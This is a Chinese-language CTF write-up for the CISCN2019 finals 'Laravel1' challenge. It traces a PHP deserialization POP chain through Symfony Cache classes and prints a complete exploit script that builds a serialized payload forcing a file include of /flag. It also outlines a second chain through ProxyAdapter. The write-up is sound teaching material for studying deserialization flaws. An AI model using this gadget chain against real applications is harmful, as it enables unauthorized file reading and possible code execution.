CISCN2019 总决赛

[Day1 Web4]Laravel1

直接给源码

逻辑也很简单

就一行

class IndexController extends Controller
{
    public function index(\Illuminate\Http\Request $request){
        $payload=$request->input("payload");
        if(empty($payload)){
            highlight_file(__FILE__);
        }else{
            @unserialize($payload);//这一行触发反序列化
        }
    }
}

看来是要自己构造POP链了,

unserialize($payload)首先触发__destruct() __wakeup()这两个函数,在PhpStorm中使用CRTL+SHIFT+F

进行全局搜索。

找到

namespace Symfony\Component\Cache\Adapter;

class TagAwareAdapter implements TagAwareAdapterInterface, TagAwareCacheInterface, PruneableInterface, ResettableInterface
{
    public function commit()
    {
        return $this->invalidateTags([]);
    }

    public function __destruct()
    {
        $this->commit();
    }
}

跟进invalidateTags([])

namespace Symfony\Component\Cache\Adapter;

class TagAwareAdapter implements TagAwareAdapterInterface, TagAwareCacheInterface, PruneableInterface, ResettableInterface
{
    const TAGS_PREFIX = "\0tags\0";

    use ProxyTrait;
    use ContractsTrait;

    private $deferred = [];
    private $createCacheItem;
    private $setCacheItemTags;
    private $getTagsByKey;
    private $invalidateTags;
    private $tags;
    private $knownTagVersions = [];
    private $knownTagVersionsTtl;

    public function invalidateTags(array $tags)//传入$tags是空的
    {
        $ok = true;
        $tagsByKey = [];
        $invalidatedTags = [];
···

        if ($this->deferred) {
            $items = $this->deferred;//$deferred我们可以控制
            foreach ($items as $key => $item) {
                if (!$this->pool->saveDeferred($item)) {
                    unset($this->deferred[$key]);
                    $ok = false;
                }
            }

            $f = $this->getTagsByKey;
            $tagsByKey = $f($items);
            $this->deferred = [];
        }
···

        return $ok;
    }
}

然后我们看下$this->pool->SaveDeferred()是不是可控的,关键是SaveDeferred()因为$pool是可控的

找到PhpArrayAdapter.php

class TagAwareAdapter implements TagAwareAdapterInterface, TagAwareCacheInterface, PruneableInterface, ResettableInterface
{
    const TAGS_PREFIX = "\0tags\0";

    use ProxyTrait;
    use ContractsTrait;

    private $deferred = [];
    private $createCacheItem;
    private $setCacheItemTags;
    private $getTagsByKey;
    private $invalidateTags;
    private $tags;
    private $knownTagVersions = [];
    private $knownTagVersionsTtl;
...
    public function saveDeferred(CacheItemInterface $item)
    {
        if (null === $this->values) {
            $this->initialize();//这里调用了initialize();
        }

        return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item);
    }
...
}

跟进看一下initialize()

namespace Symfony\Component\Cache\Traits;

use Symfony\Component\Cache\CacheItem;
use Symfony\Component\Cache\Exception\InvalidArgumentException;
use Symfony\Component\VarExporter\VarExporter;

trait PhpArrayTrait
{
    use ProxyTrait;//表示继承ProxyTrait类

    private $file;
    private $keys;
    private $values;

    private function initialize()
    {
        if (!file_exists($this->file)) {
            $this->keys = $this->values = [];

            return;
        }
        $values = (include $this->file) ?: [[], []];//可以看到这里有文件包含

        if (2 !== \count($values) || !isset($values[0], $values[1])) {
            $this->keys = $this->values = [];
        } else {
            list($this->keys, $this->values) = $values;
        }
    }
}

POP链

TagAwareAdapter->destruct()->commit()->invalidateTags()->$this->pool->saveDeferred($item)

$this->pool: TagAwareAdapter->saveDeferred($item)->initialize()->this->$values = (include $this->file)

可以写出Exp(还得解决奇奇怪怪的类依赖问题,要多扒几个类出来才能正常编译)

<?php
namespace Symfony\Component\Cache{

    use Symfony\Component\Cache\Adapter\ProxyAdapter;

    final class CacheItem{
        protected $key;
        protected $value;
        protected $isHit = false;
        protected $expiry;
        protected $defaultLifetime;
        protected $metadata = [];
        protected $newMetadata = [];
        protected $innerItem;
        protected $poolHash;
        protected $isTaggable = false;
        public function __construct()
        {
            $this->expiry = 'eki23323';
            $this->poolHash = '233';
            $this->key = '';
        }
    }
}
namespace Symfony\Component\Cache\Adapter{
    use Symfony\Component\Cache\CacheItem;
    class TagAwareAdapter{
        private $deferred = [];
        private $createCacheItem;
        private $setCacheItemTags;
        private $getTagsByKey;
        private $invalidateTags;
        private $tags;
        private $knownTagVersions = [];
        private $knownTagVersionsTtl;

        public function __construct()
        {
            $this->pool = new PhpArrayAdapter();
            $this->deferred = array('flight' => new CacheItem());
        }

    }
    class PhpArrayAdapter{
        private $file='/flag';
        public function __construct()
        {
            $this->file='/flag';
        }
    }
}
namespace {

    use Symfony\Component\Cache\Adapter\TagAwareAdapter;

    $tagAwareAdapter = new TagAwareAdapter();
    echo urlencode(serialize($tagAwareAdapter));
}
?>

当然,找的时候可没有这么容易,因为有很多类看起来可以利用,但是最终能用的却不好找

还有一种POP链

TagAwareAdapter.php->destruct()->commit()->invalidateTags()->$this->pool->saveDeferred($item)

ProxyAdapter.php >saveDeferred()->dosave()->($this->setInnerItem)(SinnerItem,$item)
© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2020-07-09 14:40:32

results matching ""

    No results matching ""